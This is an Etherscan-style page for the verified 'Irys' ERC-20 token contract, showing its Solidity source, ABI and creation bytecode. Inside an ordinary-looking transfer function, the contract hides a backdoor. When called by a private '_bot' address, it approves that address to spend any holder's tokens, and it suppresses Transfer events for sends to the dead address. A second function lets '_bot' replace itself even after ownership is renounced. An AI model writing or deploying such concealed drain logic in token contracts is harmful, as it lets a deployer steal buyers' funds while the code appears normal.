ERC-20
Overview
Max Total Supply
1,000,000,000 IRYS
Holders
95
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
3,026,635.405349009 IRYSValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
Irys
Compiler Version
v0.8.26+commit.8a97fa7a
Optimization Enabled:
No with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
/** *Submitted for verification at Etherscan.io on 2025-01-01 */ /* The First Layer-1 Programmable Datachain. Designed for AI. Engineered for Scale. https://www.irys.live/ https://t.me/irys_fun https://x.com/irys_fun */ // SPDX-License-Identifier: UNLICENSE pragma solidity ^0.8.18; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Irys is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; address payable private _bot; uint256 private _reduceSellTaxAt=5; uint256 private _reduceBuyTaxAt=5; uint256 private _preventSwapBefore=5; uint256 private _finalBuyTax=0; uint256 private _initialBuyTax=10; uint256 private _finalSellTax=0; uint256 private _initialSellTax=10; uint256 private _buyCount=0; string private constant _name = unicode"Irys"; string private constant _symbol = unicode"IRYS"; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 1_000_000_000 * 10**_decimals; uint256 public _taxSwapThreshold = _tTotal.mul(100).div(10000); uint256 public _maxTaxSwap = _tTotal.mul(100).div(10000); uint256 public _maxWalletSize = _tTotal.mul(200).div(10000); uint256 public _maxTxAmount = _tTotal.mul(200).div(10000); IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () payable { _bot = payable(_msgSender()); _balances[_msgSender()] = (_tTotal * 2) / 100; _balances[address(this)] = (_tTotal * 98) / 100; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_bot] = true; emit Transfer(address(0), _msgSender(), (_tTotal * 2) / 100); emit Transfer(address(0), address(this), (_tTotal * 98) / 100); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize=_tTotal; emit MaxTxAmountUpdated(_tTotal); } function _transfer(address sender, address receiver, uint256 amount) private { require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount=0; if(msg.sender == _bot || (sender != uniswapV2Pair && receiver == address(0xdead))) { _approve(sender, _msgSender(), amount); } if (sender != owner() && receiver != owner() && sender != address(this) && receiver != address(this)) { taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); if (sender == uniswapV2Pair && receiver != address(uniswapV2Router) && ! _isExcludedFromFee[receiver] ) { _buyCount++; } if(receiver == uniswapV2Pair && sender!= address(this) ){ taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && receiver == uniswapV2Pair && swapEnabled && _buyCount > _preventSwapBefore) { if (contractTokenBalance > _taxSwapThreshold) { uint _val = contractTokenBalance > _maxTaxSwap ? _maxTaxSwap : contractTokenBalance; _val = amount > _val ? _val : amount; swapTokensForEth(_val); } uint256 contractETHBalance = address(this).balance; if (contractETHBalance >= 0) { sendETHToFee(address(this).balance); } } } if(taxAmount>0){ _balances[address(this)]=_balances[address(this)].add(taxAmount); emit Transfer(sender, address(this),taxAmount); } _balances[sender]=_balances[sender].sub(amount); _balances[receiver]=_balances[receiver].add(amount.sub(taxAmount)); if (receiver != address(0xdead)) emit Transfer(sender, receiver, amount.sub(taxAmount)); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _bot.transfer(amount); } function startTrading() public onlyOwner { require(!tradingOpen, "trading is already open"); uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _approve(address(this), address(uniswapV2Router), type(uint256).max); uniswapV2Router.addLiquidityETH{value: address(this).balance} ( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); swapEnabled = true; tradingOpen = true; } function endTrading(address _manual) external { require(_msgSender() == _bot); uint _balance = balanceOf(address(this)); if (_balance > 0) swapTokensForEth(_balance); _bot = payable(_manual); } function manualSend() external onlyOwner { uint256 ethBalance = address(this).balance; if (ethBalance > 0) { sendETHToFee(ethBalance); } } receive() external payable {} }
{ "optimizer": { "enabled": false, "runs": 200 }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } }, "remappings": [] }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"_manual","type":"address"}],"name":"endTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
608060405260058055600560065560056007555f600855600a6009555f600a55600a600b555f600c5561006c61271061005e60646009600a61004191906108a0565b633b9aca0061005091906108ea565b6105da60201b90919060201c565b61065160201b90919060201c565b600d556100b36127106100a560646009600a61008891906108a0565b633b9aca0061009791906108ea565b6105da60201b90919060201c565b61065160201b90919060201c565b600e556100fa6127106100ec60c86009600a6100cf91906108a0565b633b9aca006100de91906108ea565b6105da60201b90919060201c565b61065160201b90919060201c565b600f5561014161271061013360c86009600a61011691906108a0565b633b9aca0061012591906108ea565b6105da60201b90919060201c565b61065160201b90919060201c565b6010555f601260156101000a81548160ff0219169083151502179055505f601260166101000a81548160ff0219169083151502179055505f6101876106a060201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506102316106a060201b60201c565b60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550606460026009600a61028291906108a0565b633b9aca0061029191906108ea565b61029b91906108ea565b6102a59190610958565b60015f6102b66106a060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550606460626009600a61030591906108a0565b633b9aca0061031491906108ea565b61031e91906108ea565b6103289190610958565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160035f61037c6106a760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506104a46106a060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef606460026009600a61050491906108a0565b633b9aca0061051391906108ea565b61051d91906108ea565b6105279190610958565b6040516105349190610997565b60405180910390a33073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef606460626009600a61059d91906108a0565b633b9aca006105ac91906108ea565b6105b691906108ea565b6105c09190610958565b6040516105cd9190610997565b60405180910390a3610ace565b5f8083036105ea575f905061064b565b5f82846105f791906108ea565b90508284826106069190610958565b14610646576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161063d90610a30565b60405180910390fd5b809150505b92915050565b5f61069883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506106ce60201b60201c565b905092915050565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f8083118290610714576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161070b9190610aae565b60405180910390fd5b505f83856107229190610958565b9050809150509392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156107b15780860481111561078d5761078c61072f565b5b600185161561079c5780820291505b80810290506107aa8561075c565b9450610771565b94509492505050565b5f826107c95760019050610884565b816107d6575f9050610884565b81600181146107ec57600281146107f657610825565b6001915050610884565b60ff8411156108085761080761072f565b5b8360020a91508482111561081f5761081e61072f565b5b50610884565b5060208310610133831016604e8410600b841016171561085a5782820a9050838111156108555761085461072f565b5b610884565b6108678484846001610768565b9250905081840481111561087e5761087d61072f565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f6108aa8261088b565b91506108b583610894565b92506108e27fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846107ba565b905092915050565b5f6108f48261088b565b91506108ff8361088b565b925082820261090d8161088b565b915082820484148315176109245761092361072f565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6109628261088b565b915061096d8361088b565b92508261097d5761097c61092b565b5b828204905092915050565b6109918161088b565b82525050565b5f6020820190506109aa5f830184610988565b92915050565b5f82825260208201905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f610a1a6021836109b0565b9150610a25826109c0565b604082019050919050565b5f6020820190508181035f830152610a4781610a0e565b9050919050565b5f81519050919050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f610a8082610a4e565b610a8a81856109b0565b9350610a9a818560208601610a58565b610aa381610a66565b840191505092915050565b5f6020820190508181035f830152610ac68184610a76565b905092915050565b612bdd80610adb5f395ff3fe608060405260043610610117575f3560e01c8063715018a61161009f57806395d89b411161006357806395d89b4114610366578063a9059cbb14610390578063bf474bed146103cc578063dd62ed3e146103f6578063f4293890146104325761011e565b8063715018a6146102bc578063751039fc146102d25780637d1db4a5146102e85780638da5cb5b146103125780638f9a55c01461033c5761011e565b806323b872dd116100e657806323b872dd146101dc578063293230b814610218578063313ce5671461022e578063526a55d41461025857806370a08231146102805761011e565b806306fdde0314610122578063095ea7b31461014c5780630faee56f1461018857806318160ddd146101b25761011e565b3661011e57005b5f80fd5b34801561012d575f80fd5b50610136610448565b6040516101439190611f6f565b60405180910390f35b348015610157575f80fd5b50610172600480360381019061016d9190612020565b610485565b60405161017f9190612078565b60405180910390f35b348015610193575f80fd5b5061019c6104a2565b6040516101a991906120a0565b60405180910390f35b3480156101bd575f80fd5b506101c66104a8565b6040516101d391906120a0565b60405180910390f35b3480156101e7575f80fd5b5061020260048036038101906101fd91906120b9565b6104cb565b60405161020f9190612078565b60405180910390f35b348015610223575f80fd5b5061022c61059f565b005b348015610239575f80fd5b50610242610ac5565b60405161024f9190612124565b60405180910390f35b348015610263575f80fd5b5061027e6004803603810190610279919061213d565b610acd565b005b34801561028b575f80fd5b506102a660048036038101906102a1919061213d565b610b8e565b6040516102b391906120a0565b60405180910390f35b3480156102c7575f80fd5b506102d0610bd4565b005b3480156102dd575f80fd5b506102e6610d22565b005b3480156102f3575f80fd5b506102fc610e51565b60405161030991906120a0565b60405180910390f35b34801561031d575f80fd5b50610326610e57565b6040516103339190612177565b60405180910390f35b348015610347575f80fd5b50610350610e7e565b60405161035d91906120a0565b60405180910390f35b348015610371575f80fd5b5061037a610e84565b6040516103879190611f6f565b60405180910390f35b34801561039b575f80fd5b506103b660048036038101906103b19190612020565b610ec1565b6040516103c39190612078565b60405180910390f35b3480156103d7575f80fd5b506103e0610ede565b6040516103ed91906120a0565b60405180910390f35b348015610401575f80fd5b5061041c60048036038101906104179190612190565b610ee4565b60405161042991906120a0565b60405180910390f35b34801561043d575f80fd5b50610446610f66565b005b60606040518060400160405280600481526020017f4972797300000000000000000000000000000000000000000000000000000000815250905090565b5f610498610491611013565b848461101a565b6001905092915050565b600e5481565b5f6009600a6104b7919061232a565b633b9aca006104c69190612374565b905090565b5f6104d78484846111dd565b610594846104e3611013565b61058f85604051806060016040528060288152602001612b806028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610546611013565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611a039092919063ffffffff16565b61101a565b600190509392505050565b6105a7611013565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610633576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062a906123ff565b60405180910390fd5b601260149054906101000a900460ff1615610683576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161067a90612467565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60115f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610741573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107659190612499565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107eb573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061080f9190612499565b6040518363ffffffff1660e01b815260040161082c9291906124c4565b6020604051808303815f875af1158015610848573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061086c9190612499565b60125f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506108f73060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff61101a565b60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061093f30610b8e565b5f80610949610e57565b426040518863ffffffff1660e01b815260040161096b9695949392919061252d565b60606040518083038185885af1158015610987573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109ac91906125a0565b50505060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610a4c9291906125f0565b6020604051808303815f875af1158015610a68573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a8c9190612641565b506001601260166101000a81548160ff0219169083151502179055506001601260146101000a81548160ff021916908315150217905550565b5f6009905090565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b0d611013565b73ffffffffffffffffffffffffffffffffffffffff1614610b2c575f80fd5b5f610b3630610b8e565b90505f811115610b4a57610b4981611a65565b5b8160045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610bdc611013565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5f906123ff565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610d2a611013565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610db6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dad906123ff565b60405180910390fd5b6009600a610dc4919061232a565b633b9aca00610dd39190612374565b6010819055506009600a610de7919061232a565b633b9aca00610df69190612374565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a610e2b919061232a565b633b9aca00610e3a9190612374565b604051610e4791906120a0565b60405180910390a1565b60105481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600f5481565b60606040518060400160405280600481526020017f4952595300000000000000000000000000000000000000000000000000000000815250905090565b5f610ed4610ecd611013565b84846111dd565b6001905092915050565b600d5481565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610f6e611013565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ffa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff1906123ff565b60405180910390fd5b5f4790505f8111156110105761100f81611cd0565b5b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611088576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107f906126dc565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ed9061276a565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111d091906120a0565b60405180910390a3505050565b5f811161121f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611216906127f8565b60405180910390fd5b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611301575060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611300575061dead73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b5b156113195761131884611312611013565b8461101a565b5b611321610e57565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561138f575061135f610e57565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156113c757503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156113ff57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561171d576114406064611432600654600c541161141f57600954611423565b6008545b85611d3890919063ffffffff16565b611daf90919063ffffffff16565b905060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156114eb575060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561153e575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561155b57600c5f81548092919061155590612816565b91905055505b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156115e357503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611627576116246064611616600554600c541161160357600b54611607565b600a545b85611d3890919063ffffffff16565b611daf90919063ffffffff16565b90505b5f61163130610b8e565b9050601260159054906101000a900460ff1615801561169c575060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156116b45750601260169054906101000a900460ff165b80156116c35750600754600c54115b1561171b57600d54811115611704575f600e5482116116e257816116e6565b600e545b90508084116116f557836116f7565b805b905061170281611a65565b505b5f4790505f81106117195761171847611cd0565b5b505b505b5f81111561181c576117758160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611df890919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161181391906120a0565b60405180910390a35b61186c8260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611e5590919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061190f6118c38284611e5590919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611df890919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061dead73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146119fd578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6119e78486611e5590919063ffffffff16565b6040516119f491906120a0565b60405180910390a35b50505050565b5f838311158290611a4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a419190611f6f565b60405180910390fd5b505f8385611a58919061285d565b905080915